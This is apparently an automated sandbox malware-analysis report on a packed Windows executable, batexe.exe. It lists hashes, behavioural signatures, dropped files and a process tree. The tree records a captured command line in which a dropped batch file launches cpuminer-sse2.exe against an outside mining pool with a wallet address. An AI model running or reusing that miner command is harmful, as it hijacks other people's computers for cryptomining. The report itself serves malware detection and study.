Analysis

  • max time kernel
    293s
  • max time network
    302s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    20-02-2024 05:11

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5568
    • C:\Users\Admin\AppData\Local\Temp\5B5E.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\5B5E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5B5E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5256
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5E6C.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1408
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1356

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\5B5E.tmp\b2e.exe

    Filesize

    5.0MB

    MD5

    896293c4d54a79830044f728d9201214

    SHA1

    298b6789316f0d30dbc90fb7c8b9cfa8faac9e1f

    SHA256

    b9fb116772de5960694920f97f38e77cd4c9943269db934df7e9419247311834

    SHA512

    fe8729d3abe3476da5ea173ba9f50eddad1b387ef25eed69fef790a646d6fe0add5b7c1a15487e179cf0d5243c2bd86edddd4f63efcc30fb8aa1b977bf5e8a91

  • C:\Users\Admin\AppData\Local\Temp\5B5E.tmp\b2e.exe

    Filesize

    2.1MB

    MD5

    099e18cf84312ee05add20eaed01b2c0

    SHA1

    3aedb8f0362d50274ec7bf1e79bbd3923b47cc13

    SHA256

    8856beb3ce39073034ad1cd1b72251224cbe3b2861af9086947470096666312c

    SHA512

    70c26948eecb460a2c035d8bec9f100588244a0c621fe26c13826bef00464051b54e200abfd73cb07bbe76c6c807317dc90b4974a739be718e37aa2621c134ec

  • C:\Users\Admin\AppData\Local\Temp\5B5E.tmp\b2e.exe

    Filesize

    2.1MB

    MD5

    9cbcf4e74c6102e88a4d43ce4d313cf3

    SHA1

    98f4a385fbe403b9317340c3de395dfd62c3c964

    SHA256

    cf879fa47e4f8f8443c406cba2375a1fb4bdaf2b539518137e412532d8a786da

    SHA512

    2a8796515e9140c1ba1c3e54ebf8f92d903c5d7c991ea801351d33c01a95fee09e0fc9b57edd04e2d1385ff48b232141fce5e1be8146a564adb9ea055c2a9f23

  • C:\Users\Admin\AppData\Local\Temp\5E6C.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.2MB

    MD5

    3b37e90ea4cced99f86e9e04f77e84ee

    SHA1

    c288261c49a802ea14e9446e3214cca759478153

    SHA256

    67c47a7c33baade2b907c91e5ece3207150417e952e1c5d2b4e150b242415bb3

    SHA512

    41da6cf9aa1a073ae943451565ce92563a175e28ee0c7966738c5e2246c534936d28d1c7d40e677c62f8e10b6dbcf9bff735ee3528badccba901f258841dedeb

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.6MB

    MD5

    08ab53eb9b84995a8efd2aa09a338071

    SHA1

    d85428dc9278e4847f0dd9b927044590949abc13

    SHA256

    b329b86c075387629f746cc6053842fdb075a5dc5091fec505c8ed5c04fd65dc

    SHA512

    143f2c89b170822a923d280f2ca1691ccf4d7cbf91419441f2e3e1739cb91fb1fb892557b7f9d82a51a035326586c8471dfcc0b0e5e6eec28b18842a1ffe0d08

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    48KB

    MD5

    187a23e1b2b2b77b15fcda9f361c6381

    SHA1

    657a24b799bfcf5a30d2cf0d54f445e8cc15baa7

    SHA256

    92d4a2a41836ecd7e5e37573c02d0b7de0efd2e2985c37cef50da42595371d5f

    SHA512

    f4a30c7aa500204fa99c62e463e642c9db3f414222d02dbac2d013b2b888be1771fffb824eb007aed085f4fc67dd6cef27720c6f28c9d0d75f6f4e26e0ce8306

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    57KB

    MD5

    9847e73bcb93a91acd165a0f6892b3f6

    SHA1

    1015d74d21104498e7155841b9e7cd8f66a983c5

    SHA256

    e324d252f54abb2a57eb723ff7e77015f545af2544a54b9bcacfe2a20ec4abe4

    SHA512

    f2047bd1599c42d543bd698bd0e6f1df718648169ec08c9a47403b69c5d88a2cdeb388138fafdfa38a4ecbd6f0f54e209357967a3987221351bd44860169f88d

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    51KB

    MD5

    958d45a07401ec2022317bdf7a68697c

    SHA1

    98c4bb8b069ec3df3917be86156c57a9cde29e98

    SHA256

    ac92bb56e9723d9322c4a69e380e804169e9e6fd166ddd5fc69650aa286193d3

    SHA512

    7e2a0956c1b5b5b95f2c3f682514018baf0e807e914804b0c034c32453ed721cd6e7a9753955c3c949edc70fd6c498fe0831806609dd974dbdaf5c3c44e06a6c

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    57KB

    MD5

    4a91d8f522a86a4a67e44a7667410a6f

    SHA1

    7ecf2598d4da2b1b105991b2f5a49c8e14e648a4

    SHA256

    4ecdc95a5d1aac157a46642018b8ed1f005ee2ab6e9ab2bf8f38e961dc37ea4c

    SHA512

    aa5a94d3acb4c310f0b24d132556ff07ec17bc152e4575c7e3e3d89babc9768ac0be323f3ed89c796d145b28f19a7d8d880721077b4e503a2aa3b8990032f9e3

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.4MB

    MD5

    b801289b6b99dffe0cc8f698295c5ae2

    SHA1

    c4634f2c3d80423a6e27722932886e478d48b7e5

    SHA256

    6e245916e589e7f0e1d4196817dfde19f285f6cfa1b6e7088ff8eebdeb651f83

    SHA512

    173424332c97035277e2c4aa5f91675e5c28693a2cb61b8c495f1dd53162f66e61ac3a006790245dea27bb72710cbc08c0a7410500c9ddae8071d5fbde9c4160

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    14KB

    MD5

    5c37dcf3e37dbc99177c5bcf977be61c

    SHA1

    44b8d5a15e30792b04ebbcd38b18779b66b5c07e

    SHA256

    29d05cc85bfba5e047fa07d67fd4832259ed2cd8e651e1d0719d6d1fe4ab1c5c

    SHA512

    7653829956b1e040b59d78d1b8d3efae81a65c906be1a5538d0ec6167af3fce5f0cfeaa506290d3ab23d192ff971a408c5b4a74736c83ba3ee9e6faa6b611d7d

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    1KB

    MD5

    d7c75b973084fc64536bef84775773ef

    SHA1

    4ba97a231c651cf0bb9f21c833d0e15d2c1057d3

    SHA256

    de7e877c905b61a5c6c6d5a60040ee125a9222cc4dabc1398393785bcdb82983

    SHA512

    e8c5afaa40f10c983ec4470ca3ebfcddd9d5ef4dcc61a4dee165ddfb63d878f9a9e56f74a447feb9337fa332fd94f057ec6de16622b030764aa78137e8a5a808

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    14KB

    MD5

    86c2fb7846e808c73956d2954bd051f8

    SHA1

    1b54332402200a6e8448ad712f5f11c28fb6c0e2

    SHA256

    ffccd3f566dc0dcd44bc6bf74977baf565b08a4ff741a952d1a3e91a02627c16

    SHA512

    73fc2576f47b9eeaabb7577f50a2172f6f6ae5c9348616bba6dcc1f37d279c529c974380d653f8b1d8d99d0f37e07af59ad2ebb91e975b15e38bef228845b1c8

  • memory/1356-45-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/1356-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1356-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1356-46-0x0000000064990000-0x0000000064A28000-memory.dmp

    Filesize

    608KB

  • memory/1356-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1356-44-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1356-47-0x00000000010D0000-0x0000000002985000-memory.dmp

    Filesize

    24.7MB

  • memory/1356-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1356-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1356-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1356-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1356-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1356-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1356-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5256-9-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/5256-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/5568-8-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB